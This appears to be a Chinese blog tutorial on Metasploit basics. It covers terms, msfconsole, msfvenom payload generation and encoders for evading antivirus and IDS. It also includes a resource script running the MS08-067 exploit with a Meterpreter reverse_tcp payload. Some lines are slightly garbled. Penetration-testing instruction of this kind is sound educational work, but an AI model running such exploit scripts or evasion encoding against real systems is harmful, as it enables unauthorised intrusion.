欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Metasploit基础

程序员文章站 2022-07-15 13:42:17
...

Metasploit基础

第一次接触MSF时,需要掌握他的一i额专业术语,模块,接口,选项和变量,最重要的一点:

>>>

不光要关注于那些最新的模块,而应该关注Metasploit是如何进行攻击的,以及你可以使用哪些命令来使得渗透成功实施


一、专业术语:

1、渗透攻击Exploit:

由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的渗透攻击技术包括缓冲区溢出、Web应用程序漏洞攻击(SQL注入),以及利用配置错误等。

2、攻击载荷Payload:

期望目标系统在被渗透攻击之后去执行的代码。可以在MSF框架中*地选择、传送和植入。

Eg:

反弹式shell–从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷;
bind shell–在目标主机上将命令行shell绑定到一个打开的监听端口,连接这些端口进行shell交互;
简单的在目标操作系统上执行一些命令–添加用户账号等。

3、Shellcode:

作为攻击载荷运行的一组机器指令。
目标系统执行了shellcode之后,才会提供一个命令行或者Meterpreter shell。

4、模块Module:

MSF框架中所使用的一段软件代码组件。
渗透攻击模块exploit module–实际发起渗透攻击的软件组件。
辅助模块auxiliary module–执行注入扫描或系统查点的攻击动作。

5、监听器Listener:

等待连入网络连接的组件。

二、Metasploit用户接口

终端、命令行和图形界面

1、MSF终端–msfconsole

  • 能够访问Metasploit框架中几乎每一个选项和配置。 启动MSF终端–命令行中输入msfconsole

    Metasploit基础

  • 访问帮助文件–help+metasploit命令【help connect】

    Metasploit基础

2、MSF命令行

主要考虑脚本处理和其他命令行工具的互操作性。

  • 支持直接从命令行shell执行 允许将其他工具的输出重定向到msfcli 将msfcli的输出重定向给其他的命令行工具
    在明确知道你使用哪个渗透攻击模块和所需要的配置参数时,它将是高效实施渗透攻击的绝妙工具。

msfcli已废弃
[https://blog.rapid7.com/2015/07/10/msfcli-is-no-longer-available-in-metasploit/]

1:今年一月,我们对msfcli发布了否决公告,命令行界面版本的Metasploit。今天我们要和它说再见了。而msfcli,我们推荐使用Msfconsole -x选项。例如,这里是你如何可以运行在一个线MS08-067:

2:您还可以利用诸如资源脚本甚至命令别名之类的东西来减少输入。这里的一个例子,你将如何编写资源脚本来自动运行ms08_067:

use exploit/windows/smb/ms08_067_netapi  
set RHOST [IP]  
set PAYLOAD windows/meterpreter/reverse_tcp  
set LHOST [IP]  
run  

Metasploit基础

然后运行它:

./msfconsole -r name_of_resource_script.rc  本的帮助文档使用如下命令:

3:如果你已经运行了msfconsole资源脚本,你可以使用这样的方式:

msf > resource name_of_resource_script.rc  

使用实例:

  • 使用的是kali-2.0版本[环境]
  • ms12-020 漏洞

Metasploit基础

Metasploit基础

Metasploit基础

Metasploit基础

3、Armitage–图形化用户接口~?目前已经是msfgui~~~~

三、Metasploit功能程序

在某些特定的场合下,对Metasploit框架中的一些特殊功能进行直接访问的接口。

现在已经没有msfpayload的命令了,换成msfvenom了,里面集成了msfpayload和msfencode

1、MSF攻击载荷生成器

允许生成shellcode、可执行代码和其他更多的东西。
Shellcode可以生成包括C、JavaScript、甚至是Web应用程序中VB脚本等多种格式,每种输出格式在不用场景中使用。

//查看msfpayload需要哪些配置选项
msfvenom -h
//查看攻击载荷模块的配置选项
msfvenom windows/shell_reverse_tcp O

2、MSF编码器

MSF攻击载荷生成器产生的shellcode是完全可运行的,但是其中包含了一些null空字符,在程序解析时,会被认为是字符串的结束,从而终止了代码的完整运行。

\0x00 和 \0xff 字符会破坏攻击载荷

MSF编码器–对原始的payload进行编码,避免坏字符,以及逃避杀毒软件和IDS的检测。

//查看MSF编码器的配置选项列表
msfvenom -h

MSF中包含了一系列可以应用于不同场景下的编码器。
Excellent等级的编码器–x86/shikata_ga_nai

//查看有哪些可用的编码器清单,并以可靠性的好坏进行排序显示
msfvenom -1#3、Nasm Shell

nasm_shell.rb功能程序–了解汇编代码含义,对给定的汇编指令找出它的opcode操作码。

//运行工具,请求jmp esp命令的opcode操作码
aaa@qq.com:./nasm_shell.rb
nasm> jmp esp

//结果如下
00000000 FFE4          jmp esp

四、Metasploit Express 和 Metasploit Pro

商业化web接口软件。